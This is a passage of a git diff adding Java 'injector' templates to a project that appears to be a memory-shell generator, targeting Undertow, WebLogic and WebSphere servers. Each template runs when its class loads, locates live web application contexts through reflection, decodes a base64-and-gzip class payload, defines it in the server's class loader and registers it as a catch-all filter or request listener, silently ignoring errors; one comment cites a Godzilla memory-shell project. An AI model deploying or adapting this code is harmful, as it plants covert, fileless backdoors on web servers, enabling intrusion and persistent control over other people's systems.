(IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/UndertowFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/UndertowFilterInjectorTpl.java new file mode 100644 index 0000000..4e6b82f --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/UndertowFilterInjectorTpl.java @@ -0,0 +1,207 @@ +package jmg.core.template; + +import javax.servlet.DispatcherType; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + + +public class UndertowFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new UndertowFilterInjectorTpl(); + } + + + public UndertowFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (int i = 0; i < threads.length; i++) { + try { + Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) + contexts.add(servletContext); + } catch (Exception ignored) { + } + } + return contexts; + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + public void addFilter(Object context, Object filter) { + String filterClassName = filter.getClass().getName(); + try { + if (isInjected(context, filterClassName)) { + return; + } + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Object deploymentInfo = getFV(context, "deploymentInfo"); + Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass()); + invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + Object deploymentImpl = getFV(context, "deployment"); + Object managedFilters = invokeMethod(deploymentImpl, "getFilters"); + invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo}); + invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST}); + } catch (Throwable e) { + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Map filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters"); + for (Map.Entry filter : filters.entrySet()) { + Class filterClass = (Class) getFV(filter.getValue(), "filterClass"); + if (filterClass.getName().equals(evilClassName)) { + return true; + } + } + return false; + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/UndertowListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/UndertowListenerInjectorTpl.java new file mode 100644 index 0000000..5954bcb --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/UndertowListenerInjectorTpl.java @@ -0,0 +1,202 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +public class UndertowListenerInjectorTpl { + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new UndertowListenerInjectorTpl(); + } + + public UndertowListenerInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + addListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + for (int i = 0; i < threads.length; i++) { + try { + Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current"); + Object servletContext = invokeMethod(requestContext, "getCurrentServletContext"); + if (servletContext != null) contexts.add(servletContext); + } catch (Exception ignored) { + } + } + return contexts; + } + + + private Object getListener(Object context) { + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + // 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener + // 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener + public void addListener(Object context, Object listener) { + try { + if (isInjected(context, listener.getClass().getName())) { + return; + } + Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo"); + Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass()); + Object deploymentImpl = getFV(context, "deployment"); + Object applicationListeners = getFV(deploymentImpl, "applicationListeners"); + Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener"); + Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true); + invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener}); + } catch (Throwable e) { + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners"); + for (int i = 0; i < allListeners.size(); i++) { + Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass"); + if (listener.getName().contains(evilClassName)) { + return true; + } + } + return false; + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + synchronized void setFV(Object var0, String var1, Object val) throws Exception { + getF(var0, var1).set(var0, val); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WebLogicFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WebLogicFilterInjectorTpl.java new file mode 100644 index 0000000..447b01f --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WebLogicFilterInjectorTpl.java @@ -0,0 +1,292 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + +public class WebLogicFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WebLogicFilterInjectorTpl(); + } + + + public WebLogicFilterInjectorTpl() { + try { + Object[] contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + public static Object[] getContextsByMbean() throws Throwable { + HashSet webappContexts = new HashSet(); + Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); + Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); + Method theOneMethod = serverRuntimeClass.getMethod("theOne"); + theOneMethod.setAccessible(true); + Object serverRuntime = theOneMethod.invoke(null); + + Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); + getApplicationRuntimesMethod.setAccessible(true); + Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); + int applicationRuntimeSize = Array.getLength(applicationRuntimes); + for (int i = 0; i < applicationRuntimeSize; i++) { + Object applicationRuntime = Array.get(applicationRuntimes, i); + + try { + Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); + Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); + int componentRuntimeSize = Array.getLength(componentRuntimes); + for (int j = 0; j < componentRuntimeSize; j++) { + Object context = getFV(Array.get(componentRuntimes, j), "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } + } catch (Throwable e) { + + } + + try { + Set childrenSet = (Set) getFV(applicationRuntime, "children"); + Iterator iterator = childrenSet.iterator(); + + while (iterator.hasNext()) { + Object componentRuntime = iterator.next(); + try { + Object context = getFV(componentRuntime, "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } catch (Throwable e) { + + } + } + + } catch (Throwable e) { + + } + } + return webappContexts.toArray(); + } + + public static Object[] getContextsByThreads() throws Throwable { + HashSet webappContexts = new HashSet(); + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + int threadCount = threadGroup.activeCount(); + Thread[] threads = new Thread[threadCount]; + threadGroup.enumerate(threads); + for (int i = 0; i < threadCount; i++) { + Thread thread = threads[i]; + if (thread != null) { + Object workEntry = getFV(thread, "workEntry"); + if (workEntry != null) { + try { + Object context = null; + Object connectionHandler = getFV(workEntry, "connectionHandler"); + if (connectionHandler != null) { + Object request = getFV(connectionHandler, "request"); + if (request != null) { + context = getFV(request, "context"); + } + } + if (context == null) { + context = getFV(workEntry, "context"); + } + + if (context != null) { + webappContexts.add(context); + } + } catch (Throwable e) { + + } + } + } + } + return webappContexts.toArray(); + } + + public static Object[] getContext() { + HashSet webappContexts = new HashSet(); + try { + webappContexts.addAll(Arrays.asList(getContextsByMbean())); + } catch (Throwable e) { + + } + try { + webappContexts.addAll(Arrays.asList(getContextsByThreads())); + } catch (Throwable e) { + + } + return webappContexts.toArray(); + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + /** + * https://github.com/BeichenDream/GodzillaMemoryShellProject + */ + public void addFilter(Object context, Object filter) throws Exception { + String filterClassName = filter.getClass().getName(); + if (!isInjected(context, filterClassName)) { + try { + Object filterManager = invokeMethod(context, "getFilterManager"); + Object servletClassLoader = invokeMethod(context, "getServletClassLoader"); + Map cachedClasses = (Map) getFV(servletClassLoader, "cachedClasses"); + //或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了 + cachedClasses.put(filterClassName, filter.getClass()); + invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{filterClassName, filterClassName, new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}}); + //将filter置为第一位 + List filterPatternList = (List) getFV(filterManager, "filterPatternList"); + Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); + filterPatternList.add(0, currentMapping); + } catch (Throwable e) { + } + } + } + + public static boolean isInjected(Object context, String filterClassName) throws Exception { + HashMap filters = (HashMap) getFV(getFV(context, "filterManager"), "filters"); + for (Object obj : filters.keySet()) { + if (obj.toString().contains(filterClassName)) + return true; + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WebLogicListenerInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WebLogicListenerInjectorTpl.java new file mode 100644 index 0000000..86be120 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WebLogicListenerInjectorTpl.java @@ -0,0 +1,274 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.*; +import java.util.zip.GZIPInputStream; + + +public class WebLogicListenerInjectorTpl { + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WebLogicListenerInjectorTpl(); + } + + public WebLogicListenerInjectorTpl() { + try { + Object[] contexts = getContext(); + for (Object context : contexts) { + Object listener = getListener(context); + registerListener(context, listener); + } + } catch (Exception ignored) { + + } + + } + + public static Object[] getContextsByMbean() throws Throwable { + HashSet webappContexts = new HashSet(); + Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime"); + Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext"); + Method theOneMethod = serverRuntimeClass.getMethod("theOne"); + theOneMethod.setAccessible(true); + Object serverRuntime = theOneMethod.invoke(null); + + Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes"); + getApplicationRuntimesMethod.setAccessible(true); + Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime); + int applicationRuntimeSize = Array.getLength(applicationRuntimes); + for (int i = 0; i < applicationRuntimeSize; i++) { + Object applicationRuntime = Array.get(applicationRuntimes, i); + + try { + Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes"); + Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime); + int componentRuntimeSize = Array.getLength(componentRuntimes); + for (int j = 0; j < componentRuntimeSize; j++) { + Object context = getFV(Array.get(componentRuntimes, j), "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } + } catch (Throwable e) { + + } + + try { + Set childrenSet = (Set) getFV(applicationRuntime, "children"); + Iterator iterator = childrenSet.iterator(); + + while (iterator.hasNext()) { + Object componentRuntime = iterator.next(); + try { + Object context = getFV(componentRuntime, "context"); + if (webAppServletContextClass.isInstance(context)) { + webappContexts.add(context); + } + } catch (Throwable e) { + + } + } + + } catch (Throwable e) { + + } + } + return webappContexts.toArray(); + } + + public static Object[] getContextsByThreads() throws Throwable { + HashSet webappContexts = new HashSet(); + ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); + int threadCount = threadGroup.activeCount(); + Thread[] threads = new Thread[threadCount]; + threadGroup.enumerate(threads); + for (int i = 0; i < threadCount; i++) { + Thread thread = threads[i]; + if (thread != null) { + Object workEntry = getFV(thread, "workEntry"); + if (workEntry != null) { + try { + Object context = null; + Object connectionHandler = getFV(workEntry, "connectionHandler"); + if (connectionHandler != null) { + Object request = getFV(connectionHandler, "request"); + if (request != null) { + context = getFV(request, "context"); + } + } + if (context == null) { + context = getFV(workEntry, "context"); + } + + if (context != null) { + webappContexts.add(context); + } + } catch (Throwable e) { + + } + } + } + } + return webappContexts.toArray(); + } + + public static Object[] getContext() { + HashSet webappContexts = new HashSet(); + try { + webappContexts.addAll(Arrays.asList(getContextsByMbean())); + } catch (Throwable e) { + + } + try { + webappContexts.addAll(Arrays.asList(getContextsByThreads())); + } catch (Throwable e) { + + } + return webappContexts.toArray(); + } + + private Object getListener(Object context) { + + Object listener = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + listener = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + listener = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return listener; + } + + public void registerListener(Object context, Object listener) throws Exception { + String listenerClassName = listener.getClass().getName(); + if (!isInjected(context, listenerClassName)) { + try { + Object eventsManager = getFV(context, "eventsManager"); + invokeMethod(eventsManager, "registerEventListener", new Class[]{String.class}, new Object[]{listenerClassName}); + } catch (Exception e) { + } + } + } + + public static boolean isInjected(Object context, String listenerClassName) throws Exception { + ArrayList requestListeners = (ArrayList) getFV(getFV(context, "eventsManager"), "requestListeners"); + for (int i = 0; i < requestListeners.size(); i++) { + if (requestListeners.get(i).getClass().getName().contains(listenerClassName)) return true; + } + return false; + } + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/WebSphereFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/WebSphereFilterInjectorTpl.java new file mode 100755 index 0000000..7d778ee --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/WebSphereFilterInjectorTpl.java @@ -0,0 +1,272 @@ +package jmg.core.template; + +import javax.servlet.Filter; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + + +/** + * tested v7、v8 + * update 2023/07/08 + */ +public class WebSphereFilterInjectorTpl { + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new WebSphereFilterInjectorTpl(); + } + + + public WebSphereFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + } + + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Object context; + Object obj = getFV(Thread.currentThread(), "wsThreadLocals"); + Object[] wsThreadLocals = (Object[]) obj; + for (Object wsThreadLocal : wsThreadLocals) { + obj = wsThreadLocal; + // for websphere 7.x + if (obj != null && obj.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFV(obj, "stack"); + for (Object stack : stackList) { + try { + Object config = getFV(stack, "config"); + context = getFV(getFV(config, "context"), "context"); + contexts.add(context); + } catch (Exception ignored) { + } + } + } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { + context = getFV(getFV(getFV(getFV(getFV(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); + contexts.add(context); + } + } + return contexts; + } + + + public void addFilter(Object context, Object filter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + String filterName = getFilterName(getClassName()); + try { + if (!isAdded(context, filterName)) { + Class filterMappingClass; + Class iFilterConfigClass; + Class iServletConfigClass; + ClassLoader classLoader; + try { + classLoader = context.getClass().getClassLoader(); + filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping"); + iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig"); + iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig"); + } catch (Exception e) { + classLoader = Thread.currentThread().getContextClassLoader(); + filterMappingClass = 